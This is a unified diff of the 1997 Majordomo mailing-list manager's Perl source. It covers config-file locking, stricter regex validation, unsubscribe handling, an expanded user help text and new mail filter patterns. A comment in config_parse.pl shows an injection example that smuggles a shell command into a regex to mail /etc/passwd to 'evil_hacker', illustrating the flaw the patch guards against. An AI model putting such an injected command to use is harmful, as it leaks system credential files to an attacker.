Common subdirectories: ./Tools and ../majordomo-1.94.2.4/Tools Common subdirectories: ./bin and ../majordomo-1.94.2.4/bin diff -u ./config-test ../majordomo-1.94.2.4/config-test --- ./config-test Sun Apr 20 19:00:22 1997 +++ ../majordomo-1.94.2.4/config-test Sun Apr 20 18:56:24 1997 @@ -1,5 +1,5 @@ #!/bin/perl -# $Id: config-test,v 1.15 1996/12/23 15:03:08 cwilson Exp $ +# $Id: config-test,v 1.17 1997/03/10 17:22:05 cwilson Exp $ # configuration test for majordomo # provided with majordomo, modifications by darren stalder # more mods by Vince Skahan @@ -27,7 +27,7 @@ ; sleep 2; if (-x "./wrapper") { - exec("./wrapper config-test"); + exec("./wrapper config-test", @ARGV); } else { print <<"dummy" Well, shoot, you forget to run @@ -289,13 +289,14 @@ open(S, 'sample.cf') || &bad("Couldn't open sample.cf for reading, $!"); while () { - next if !/^(\$\w+)/; + next unless /^\s*(\$\w+(('|::)\w+)*)/; $config{$1} = 2; } while (<$cf>) { - next if !/^(\$\w+)/; - $config{$1}++; + next unless /^\s*(\$\w+(('|::)\w+)*)/; + $config{$1} = 1 unless defined $config{$1}; # Keeps -w happy + $config{$1} |= 1; } close (S); @@ -369,10 +370,10 @@ #' print "[yes] "; if ( <> !~ /n/i) { - open(f,">$registration_file") + open(RF,">$registration_file") || die "couldn't create $registration_file, $!"; - print f $majordomo_version; - close f; + print RF $majordomo_version; + close RF; $sendmail_command = "/usr/lib/sendmail" unless defined $sendmail_command; @@ -379,7 +380,7 @@ $bounce_mailer = "$sendmail_command -f\$sender -t" unless defined $bounce_mailer; &set_abort_addr($whoami_owner); - &set_mail_from($whoami); + &set_mail_from($whoami); $x = $whoami; # Keeps -w happy &set_mail_sender($whoami_owner); &set_mailer($bounce_mailer); diff -u ./config_parse.pl ../majordomo-1.94.2.4/config_parse.pl --- ./config_parse.pl Sun Apr 20 19:00:20 1997 +++ ../majordomo-1.94.2.4/config_parse.pl Sun Apr 20 18:56:22 1997 @@ -5,7 +5,7 @@ # writes into the global variable %main'config_opts # -# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.60 1996/12/23 15:03:24 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.63 1997/04/20 16:06:58 cwilson Exp $ # $Modified: Tue Dec 17 19:29:14 1996 by cwilson $ # this array holds the interesting info for use by all tools @@ -146,34 +146,46 @@ # The text is wrapped and filled on output. %comments = ( 'get_access', -"One of three values: open, list, closed. Open allows anyone -access to this command. List allows only list members access, -while closed completely disables the command for everyone.", +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", 'index_access', -"One of three values: open, list, closed. Open allows anyone -access to this command. List allows only list members access, -while closed completely disables the command for everyone.", +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", 'who_access', -"One of three values: open, list, closed. Open allows anyone -access to this command. List allows only list members access, -while closed completely disables the command for everyone.", +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", 'which_access', -"One of three values: open, list, closed. Open allows anyone -access to this command. List allows only list members access, -while closed completely disables the command for everyone.", +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", 'info_access', -"One of three values: open, list, closed. Open allows anyone -access to this command. List allows only list members access, -while closed completely disables the command for everyone.", +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", 'intro_access', -"One of three values: open, list, closed. Open allows anyone -access to this command. List allows only list members access, -while closed completely disables the command for everyone.", +"One of three values: open, list, closed. Open allows anyone +access to this command and closed completely disables the +command for everyone. List allows only list members access, +or if restrict_post is defined, only the addresses in those +files are allowed access.", 'advertise', "If the requestor email address matches one of these @@ -180,7 +192,7 @@ regexps, then the list will be listed in the output of a lists command. Failure to match any regexp excludes the list from -the output. The regexps under noadvertise overide these regexps.", +the output. The regexps under noadvertise override these regexps.", 'comments', "Comment string that will be retained across config file rewrites.", @@ -207,7 +219,7 @@ subscribe requests to the list. Adding '+confirm', ie, 'open+confirm', will cause majordomo to send a reply back to the subscriber which includes a authentication number which must be sent -back in with another subscribe commad.", +back in with another subscribe command.", 'unsubscribe_policy', "One of three values: open, closed, auto. Open allows people to @@ -287,11 +299,15 @@ This is the value of the reply-to header for digest lists.", 'restrict_post', -"If defined only address listed in one of the files (colon or -space separated) can post to the mailing list. This is less useful than -it seems it should be since there is no way to create these files if you -do not have access to the machine running resend. This mechanism will -be replaced in a future version of majordomo/resend.", +"If defined, only addresses listed in these files (colon or +space separated) can post to the mailing list. By default, +these files are relative to the lists directory. These files +are also checked when get_access, index_access, info_access, +intro_access, which_access, or who_access is set to 'list'. +This is less useful than it seems it should be since there +is no way to create these files if you do not have access to +the machine running resend. This mechanism will be replaced +in a future version of majordomo/resend.", 'resend_host', "The host name that is appended to all address @@ -718,10 +734,17 @@ ######## # # The function that does all of the real work. -# Called with a list directory and a list name. +# Called with a list directory, a list name, and optionally a flag +# that indicates the config file is already locked if true (and +# should be left locked on return). +# +# List config file locking is different than other files in that a +# distinct lock file is used instead of just lopen() locking because +# it's easier to manage a persistent lock than to try to keep the file +# open (and thus locked) and pass the filehandle around. # sub main'get_config { - local($listdir, $list) = @_; + local($listdir, $list, $locked) = @_; local($parse, $here_doc, $stop, $end) = (); $end = 0; @@ -758,8 +781,10 @@ &handle_flag_files($listdir, $list); # this looks for files of # the form listname.function - &main'set_lock("$listdir/$list.config.LOCK") || - &main'abort( "Can't get lock for $listdir/$list.config"); + unless ($locked) { + &main'set_lock("$listdir/$list.config.LOCK") || + &main'abort( "Can't get lock for $listdir/$list.config"); + } print("making default\n") if ($debug > 1) && (! -e "$listdir/$list.config"); @@ -768,7 +793,7 @@ unless -e "$listdir/$list.config" ; print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1; - &main'lopen(CONFIG, "", "$listdir/$list.config") + open(CONFIG, "$listdir/$list.config") || &main'abort( "Can't open $listdir/$list.config"); while ($_ = ) { @@ -852,9 +877,9 @@ } } -&main'lclose(CONFIG); +close(CONFIG); -&main'free_lock("$listdir/$list.config.LOCK"); +&main'free_lock("$listdir/$list.config.LOCK") unless $locked; print STDERR @errors if $debug > 1; @@ -1063,16 +1088,22 @@ # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy: # END # - elsif (($re =~ m:^((/)|m([^\w\s])): , $dlm=($2||$3)) && - $re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$: ){ + elsif ($re !~ m:^((/)|m([^\w\s])):) { push(@re_errors, "|$re| not a valid pattern match expression at line $.\n"); - } - elsif (eval "'' =~ $re", $@) { - push(@re_errors, $@); - } - else { - push(@return_re, $re); + } + else { + $dlm=($2||$3); + if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) { + push(@re_errors, + "|$re| not a valid pattern match expression at line $.\n"); + } + elsif (eval "'' =~ $re", $@) { + push(@re_errors, $@); + } + else { + push(@return_re, $re); + } } } @@ -1087,7 +1118,7 @@ local($list) = @_; local(@files) = (); - @files = split (/[:\t\n]+/, $list); + @files = split (/[:\s]+/, $list); foreach (@files) { # add listdir if no leading / # diff -u ./digest ../majordomo-1.94.2.4/digest --- ./digest Sun Apr 20 19:00:23 1997 +++ ../majordomo-1.94.2.4/digest Sun Apr 20 18:56:24 1997 @@ -5,12 +5,12 @@ # Heavily modified by Brent Chapman # $Source: /sources/cvsrepos/majordomo/digest,v $ -# $Revision: 1.20 $ -# $Date: 1996/12/23 15:41:51 $ +# $Revision: 1.22 $ +# $Date: 1997/03/10 17:11:25 $ # $Author: cwilson $ # $State: Exp $ # -# $Header: /sources/cvsrepos/majordomo/digest,v 1.20 1996/12/23 15:41:51 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/digest,v 1.22 1997/03/10 17:11:25 cwilson Exp $ # # @@ -24,10 +24,6 @@ $TEMP = "$TMPDIR/digest.$$" || "/usr/tmp/digest.$$"; $sendmail_command = "/usr/lib/sendmail" if ! defined $sendmail_command ; - -$lockfile = "$V{'INCOMING'}/.LOCK"; -exit($EX_TEMPFAIL) unless &set_lock($lockfile); -$lock_set = 1; if (defined($opt_r)) { &receive_message; @@ -316,8 +312,8 @@ &abort("-C used without -l"); } else { # Read and execute the .cf file - $cf = $ENV{"MAJORDOMO_CF"} || - "/etc/majordomo.cf"; + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; require "$cf"; chdir($homedir); @@ -339,7 +335,13 @@ &set_mailer($bounce_mailer); # get the digest config file - &get_config($listdir, $opt_l); + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); # map config opts to internal variables and $V array $HEADER = $config_opts{$opt_l,"message_fronter"}; @@ -355,9 +357,11 @@ $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . - $config_opts{$opt_l,"resend_host"}; + ($config_opts{$opt_l,"resend_host"} + ||$whereami); $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . - $config_opts{$opt_l,"resend_host"}; + ($config_opts{$opt_l,"resend_host"} + ||$whereami); $V{'INCOMING'} = "$digest_work_dir/$opt_l"; $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; $V{'REALLY-TO'} = $ARGV[0]; @@ -383,6 +387,13 @@ } close(config); + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); $HEADER = join("",
); close(header); @@ -400,10 +411,6 @@ $NUMBER = join("",); chop($NUMBER); close(NUM_FILE); - - if (defined($V{'HOME'})) { - unshift(@INC, $V{'HOME'}); - } } # end not using -C } diff -u ./majordomo ../majordomo-1.94.2.4/majordomo --- ./majordomo Sun Apr 20 19:00:20 1997 +++ ../majordomo-1.94.2.4/majordomo Sun Apr 20 18:56:22 1997 @@ -1,5 +1,5 @@ #!/bin/perl -# $Modified: Tue Dec 10 19:32:17 1996 by cwilson $ +# $Modified: Sun Apr 20 18:10:00 1997 by cwilson $ # majordomo: a person who speaks, makes arrangements, or takes charge # for another. @@ -8,8 +8,8 @@ # usage rights. # # $Source: /sources/cvsrepos/majordomo/majordomo,v $ -# $Revision: 1.76 $ -# $Date: 1996/12/10 18:39:47 $ +# $Revision: 1.87 $ +# $Date: 1997/04/20 16:11:49 $ # $Author: cwilson $ # $State: Exp $ # @@ -165,6 +165,7 @@ # Process the rest of the message as commands while (<>) { $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe while ( /\\\s*$/ ) { # if the last non-whitespace &chop_nl($_); # character is '\', chop the nl s/\\\s*$/ /; # replace \ with space char @@ -343,12 +344,14 @@ @lists = readdir(RD_DIR); closedir(RD_DIR); + $quietnonmember=1; + foreach (sort @lists) { $list = $_; - $list =~ s,^.*/,,; # strip off leading path $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) - print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n"; + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; unshift(@parts, $list); &do_unsubscribe(@parts); shift(@parts); @@ -363,12 +366,12 @@ local($sm) = "unsubscribe"; local($list) = shift; local($clean_list); + if ($list =~ /^\*$/) { &do_unsubscribe_all(@_); return 0; } - if ( ((!$list) || ! ($clean_list = &valid_list($listdir, $list))) && defined($deflist)) { unshift(@_,$list) ; # Not a list name, put it back. @@ -397,10 +400,12 @@ # Check to see if the subscriber really is subscribed to the list. if (! &is_list_member($subscriber, $listdir, $clean_list)) { - print REPLY <<"EOM"; + unless ($quietnonmember) { + print REPLY <<"EOM"; **** unsubscribe: '$subscriber' is not a member of list '$list'. **** contact "$list-approval\@$whereami" if you need help. EOM + } return 0; } @@ -459,12 +464,15 @@ if (defined $deflist) { print REPLY "Succeeded (from list $deflist).\n"; } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } else { print REPLY "Succeeded.\n"; } &log("unsubscribe $clean_list $subscriber"); &sendmail(BYE, "$clean_list-approval\@$whereami", - "UNSUBSCRIBE $clean_list"); + "UNSUBSCRIBE $clean_list $subscriber"); print BYE "$subscriber has unsubscribed from $clean_list.\n"; print BYE "No action is required on your part.\n"; close(BYE); @@ -542,9 +550,9 @@ || $cmd eq "intro" || $cmd eq "who" || $cmd eq "which") { - &log("approve PASSWORD $cmd $clean_list"); + &log("approve PASSWORD $cmd $clean_list " . join(" ", @_)); $sub = "do_$cmd"; - &$sub($clean_list, $subscriber); + &$sub($clean_list, @_); } else { # you can only approve the above &squawk("approve: invalid command '$cmd'"); @@ -622,7 +630,6 @@ closedir(RD_DIR); foreach (sort @lists) { - s,^.*/,,; # strip off the leading path /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) $list = $_; @@ -968,19 +975,23 @@ (local($passwd) = shift) || &squawk("config: needs password"); if ($clean_list ne "") { # The list is valid, parse the config file - &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); #so check the password if (&valid_passwd($listdir, $clean_list, $passwd)) { # The password is valid, so send the new config if it exists - if (&lopen(LCONFIG, "", "$listdir/$clean_list.config")) { + if (open(LCONFIG, "$listdir/$clean_list.config")) { while () { print REPLY $_; } print REPLY "\n#[Last updated ", &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; - &lclose(LCONFIG); + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; } else { print REPLY "#### No config available for $clean_list.\n"; @@ -989,6 +1000,7 @@ &squawk("config: invalid password."); &log("FAILED config $clean_list PASSWORD"); } + &free_lock("$listdir/$clean_list.config.LOCK"); } else { &squawk("config: unknown list '$list'."); } @@ -1011,7 +1023,10 @@ (local($passwd) = shift) || &squawk("newconfig: needs password"); if ($clean_list ne "") { # The list is valid, parse the config file - &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); # so check the password if (&valid_passwd($listdir, $clean_list, $passwd)) { @@ -1018,7 +1033,7 @@ # The password is valid, so write the new config # off to the side to validate it. local($oldumask) = umask($config_umask); - if (&lopen(NCONFIG, ">", "$listdir/$clean_list.new.config")) { + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { while (<>) { $_ = &chop_nl($_); if ($_ eq "EOF") { @@ -1026,10 +1041,11 @@ } print NCONFIG $_, "\n"; } - &lclose(NCONFIG); + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); umask($oldumask); - if ( &get_config($listdir, "$clean_list.new")) { + if ( &get_config($listdir, "$clean_list.new", "locked")) { print REPLY "The new config file for $clean_list was NOT accepted because:\n"; print REPLY @config'errors; &log("FAILED (syntax) newconfig $clean_list PASSWORD"); @@ -1037,26 +1053,23 @@ return (1); } - &set_lock( "$listdir/$clean_list.config.LOCK") || - &abort( "Can't get lock for $listdir/$clean_list.config"); $rename_fail = 0; - do { print REPLY "rename current -> old failed $!"; - $rename_fail = 1; } - if ( !rename("$listdir/$clean_list.config", - "$listdir/$clean_list.old.config") ); - do { print REPLY "rename new -> current failed $!"; - $rename_fail = 1; } - if ( !$rename_fail && - !rename("$listdir/$clean_list.new.config", - "$listdir/$clean_list.config")); - - &free_lock( "$listdir/$clean_list.config.LOCK"); + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } print REPLY "New config for list $clean_list accepted.\n" if !$rename_fail; &log("newconfig $clean_list PASSWORD"); - &get_config($listdir, $clean_list); + &get_config($listdir, $clean_list, "locked"); } else { &abort("Can't write $listdir/$clean_list.config: $!"); } @@ -1069,11 +1082,9 @@ last; } } - # if we read to actual end-of-file, we are done - if (eof) { - &done(); - } } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { &squawk("newconfig: unknown list '$list'."); while (<>) { @@ -1082,10 +1093,6 @@ last; } } - # if we read to actual end-of-file, we are done - if (eof) { - &done(); - } } } @@ -1105,12 +1112,15 @@ (local($passwd) = shift) || &squawk("writeconfig: needs password"); if ($clean_list ne "") { # The list is valid, parse the config file - &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); # so check the password if (&valid_passwd($listdir, $clean_list, $passwd)) { # The password is valid, so write current config - &config'writeconfig($listdir, $list); + &config'writeconfig($listdir, $clean_list); print REPLY "wrote new config for list $clean_list.\n"; &log("writeconfig $clean_list PASSWORD"); } else { @@ -1117,6 +1127,7 @@ &squawk("writeconfig: invalid password."); &log("FAILED writeconfig $clean_list PASSWORD"); } + &free_lock("$listdir/$clean_list.config.LOCK"); } else { &squawk("writeconfig: unknown list '$list'."); } @@ -1192,9 +1203,9 @@ foreach (sort @lists) { $list = $_; - $list =~ s,^.*/,,; # strip off leading path $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) - next if /^(RCS|core)/; # my favorite two. + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); @@ -1226,6 +1237,9 @@ } + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + printf REPLY " %-23s %-.56s\n", $list, $config_opts{$list, 'description'} if $result; } else { @@ -1428,8 +1442,197 @@ $listrequest = "." unless $majordomo_request; print REPLY <<"EOM"; -This is the "Majordomo" mailing list manager, version $majordomo_version. + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + In the description below items contained in []'s are optional. When providing the item, do not include the []'s around it. Items in angle brackets, such as
, are meta-symbols that should be replaced @@ -1681,6 +1884,10 @@ print MSG <<"EOM"; command in the body of your email message: + unsubscribe $list + +or from another account, besides $subscriber: + unsubscribe $list $subscriber EOM @@ -1719,7 +1926,7 @@ close(MSG); # tell the list owner of the new subscriber - &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list"); + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); print NOTICE "$subscriber has been added to $list.\n"; print NOTICE "No action is required on your part.\n"; close(NOTICE); diff -u ./majordomo.cf ../majordomo-1.94.2.4/majordomo.cf --- ./majordomo.cf Sun Apr 20 19:00:26 1997 +++ ../majordomo-1.94.2.4/majordomo.cf Sun Apr 20 18:56:27 1997 @@ -84,13 +84,13 @@ # #$max_loadavg = 10; # Choose the maximum allowed load # -#$uptime = `/usr/bin/uptime` if -x ; # Get system uptime -#$uptime = `/usr/bsd/uptime` if -x ; # or uptime is over here. +#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime +#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here. # #($avg_1_minute, $avg_5_minutes, $avg_15_minutes) = # $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/; # -#exit 75 if ($avg_15_minute >= $max_loadavg); # E_TEMPFAIL +#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL # # Set the default subscribe policy for new lists here. @@ -227,6 +227,7 @@ /^subject:\s*help\b/i /^subject:\s.*\bchange\b.*\baddress\b/i /^subject:\s*request\b(.*\b)?addition\b/i +/^subject:\s*cancel\b/i END # Common things that people send to the wrong address. @@ -239,6 +240,7 @@ # each new majordomo command. # $admin_body = <<'END'; +/\bcancel\b/i /\badd me\b/i /\bdelete me\b/i /\bremove\s+me\b/i @@ -282,6 +284,7 @@ /^subject:\s*Returned mail\b/i /^subject:\s*unable to deliver mail\b/i /^subject:\s.*\baway from my mail\b/i +/^subject:\s*Autoreply/i END # Taboo body contents to catch and forward to the approval address @@ -298,7 +301,7 @@ # Majordomo will not send replies to addresses which match this. # The match is done case-insensitively. -$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo)\@'; +$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@'; 1; -# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.28 1996/12/23 15:05:15 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.32 1997/04/07 18:57:43 cwilson Exp $ diff -u ./majordomo.pl ../majordomo-1.94.2.4/majordomo.pl --- ./majordomo.pl Sun Apr 20 19:00:21 1997 +++ ../majordomo-1.94.2.4/majordomo.pl Sun Apr 20 18:56:22 1997 @@ -1,12 +1,12 @@ # General subroutines for Majordomo # $Source: /sources/cvsrepos/majordomo/majordomo.pl,v $ -# $Revision: 1.52 $ -# $Date: 1996/12/23 15:03:52 $ +# $Revision: 1.55 $ +# $Date: 1997/04/02 14:04:14 $ # $Author: cwilson $ # $State: Exp $ # -# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.52 1996/12/23 15:03:52 cwilson Exp $ +# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.55 1997/04/02 14:04:14 cwilson Exp $ # # The exit codes for abort. Look in /usr/include/sysexits.h. @@ -13,8 +13,8 @@ # $EX_DATAERR = 65; $EX_TEMPFAIL = 75; +$EX_NOUSER = 67; - package Majordomo; $DEBUG = $main'DEBUG; @@ -94,7 +94,7 @@ sub main'ParseAddrs { local($_) = shift; 1 while s/\([^\(\)]*\)//g; # strip comments - 1 while s/"[^"]*"//g; # strip comments" + 1 while s/"[^"]*"\s//g; # strip comments" split(/,/); # split into parts foreach (@_) { 1 while s/.*<(.*)>.*/$1/; @@ -301,7 +301,8 @@ local($err); if ( ! -w $log_file ) { if ( ! -e $log_file ) { # log file may not exist, check dir perms. - local($dir) = $log_file =~ m@^(/\S+/)@; + local($dir); + ($dir) = $log_file =~ m@^(/\S+)/@; if ( ! -w $dir ) { $err .= "Unable to create log file in $dir, check permissions.\n"; # } @@ -515,8 +516,8 @@ # Deal with unbalanced brackets or parenthesis in an address. $temp = $_; - # Nuke anything within quotes. Placate Emacs -------v - 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"]|\\.|$)*\"?/$1/g; + # Nuke anything within quotes. + 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"(([^\\\"]|\\.)*|$)\"?/$1/g; # Remove nested parentheses " <- placate emacs' highlighting 1 while $temp =~ s/\([^\(\)]*\)//g; @@ -707,27 +708,30 @@ sub main'is_list_member { local($subscriber, $listdir, $clean_list) = @_; - local($matches); + local($matches) = 0; local(*LIST); local($_); print STDERR "is_list_member: enter\n" if $DEBUG; - open(LIST, "$listdir/$clean_list") - || &main'abort("Can't read $listdir/$clean_list: $!"); #'""; - - print STDERR "is_list_member: checking $listdir/$clean_list for $subscriber\n" - if $DEBUG; - - while () { - if (&main'addr_match($subscriber, $_, - (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { - $matches++; + $clean_list = "$listdir/$clean_list" if $listdir; + print STDERR "is_list_member: checking $clean_list for $subscriber\n" + if $DEBUG; + if (open(LIST, $clean_list)) { + while () { + if (&main'addr_match($subscriber, $_, + (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + $matches++; + last; + } } + close(LIST); + } + else { + &main'bitch("Can't read $clean_list: $!"); #'""; } - close(LIST); - print STDERR "is_list_member: exit\n" if $DEBUG; + print STDERR "is_list_member: exit $matches\n" if $DEBUG; return($matches); } @@ -783,7 +787,8 @@ } else { $altlist = "$clean_list-digest"; } - @lists = ($clean_list,$altlist); + @lists = ($clean_list); + push(@lists, $altlist) if -e "$listdir/$altlist"; } print STDERR "access_check: checking lists " , join(', ', @lists), "\n" @@ -791,8 +796,8 @@ $total = 0; foreach $list (@lists) { - next unless (-e "$listdir/$list"); - $total += &main'is_list_member($subscriber, $listdir, $list); + $list = "$listdir/$list" unless ($list =~ m|^/|); + $total += &main'is_list_member($subscriber, "", $list); } 